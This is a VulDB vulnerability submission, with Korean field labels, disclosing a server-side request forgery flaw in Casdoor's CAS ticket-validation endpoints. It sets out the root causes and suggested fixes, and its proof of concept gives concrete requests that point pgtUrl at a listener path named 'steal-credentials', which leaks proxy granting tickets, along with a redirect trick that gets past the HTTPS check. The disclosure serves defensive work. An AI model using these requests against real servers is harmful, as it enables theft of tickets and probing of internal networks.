| 제목 | Casdoor <= v3.153.0 Server-Side Request Forgery |
|---|
| 설명 | A Server-Side Request Forgery (SSRF) vulnerability exists in Casdoor's CAS protocol implementation. The ticket-validation endpoints (/cas/:organization/:application/serviceValidate, /proxyValidate, /p3/serviceValidate, /p3/proxyValidate) issue a server-side GET request to the caller-supplied pgtUrl parameter without filtering private, loopback, link-local, or reserved IP addresses.
The only validation is a scheme check requiring https, which is bypassable because the request is made with Go's http.DefaultClient, which follows redirects. An attacker-controlled HTTPS URL can 302-redirect the server to a plain-HTTP internal endpoint (for example cloud metadata at x.x.x.x).
Additionally, the proxy granting ticket values (pgtId / pgtIou) are appended to the attacker-supplied URL, leaking them to an attacker-controlled host. Response differentiation (2xx/3xx vs 4xx/5xx vs connection error) enables internal network scanning.
Prerequisites: any valid low-privilege user account, no admin rights required.
Root causes:
1. controllers/auth.go (ResponseTypeCas branch of POST /api/login) issues service tickets for attacker-chosen service values without re-validating against application.RedirectUris. CheckCasLogin only runs on the GET login page.
2. controllers/cas.go CasP3ProxyValidate() checks only that pgtUrlObj.Scheme equals https before calling http.DefaultClient.Do(request), with no IP-range validation and no redirect control.
Proof of Concept (tested locally, sqlite3 backend, default init data):
Step 1 - obtain a service ticket for an attacker-chosen service:
POST /api/login?service=http://attacker.example/callback
body: {"type":"cas","application":"app-built-in","organization":"built-in","username":"admin","password":"123"}
(the default seeded account was used for local testing; any valid account works)
returns ST-xxxx
Step 2 - trigger SSRF to a loopback HTTPS listener:
GET /cas/built-in/app-built-in/serviceValidate?ticket=ST-xxxx&service=http://attacker.example/callback&pgtUrl=https://127.0.0.1:9443/steal-credentials
Attacker listener receives: GET /steal-credentials?pgtId=PGT-...&pgtIou=PGTIOU-...
Step 3 - HTTPS to HTTP redirect bypass:
pgtUrl=https://127.0.0.1:9445/start returns 302 to http://127.0.0.1:9444/redirected-here
Plain-HTTP listener receives: GET /redirected-here
Impact: internal network scanning, access to internal HTTP/HTTPS services
including cloud metadata endpoints, and exfiltration of CAS proxy granting
tickets.
Suggested fix:
- Resolve pgtUrl hostname and reject private/loopback/link-local/reserved IPs;
pin the resolved IP for the connection (custom DialContext) to prevent DNS rebinding.
- Disable redirect following for the pgtUrl request, or re-validate each hop.
- Re-validate service against application.RedirectUris in the POST /api/login CAS branch.
Disclosure: the vendor was notified by email ([email protected], per their SECURITY.md) on 2026-08-15 with full details and evidence logs. No response was received within 14 days. |
|---|
| 사용자 | pngyuo (UID 100922) |
|---|
| 제출 | 2026. 09. 01. AM 07:03 (2 개월 ago) |
|---|
| 모더레이션 | 2026. 10. 10. PM 05:23 (1 month later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 416229 [Casdoor 까지 3.164.0/4.10.0 Proxy Validation controllers/cas.go CasP3ProxyValidate pgtUrl 권한 상승] |
|---|
| 포인트들 | 17 |
|---|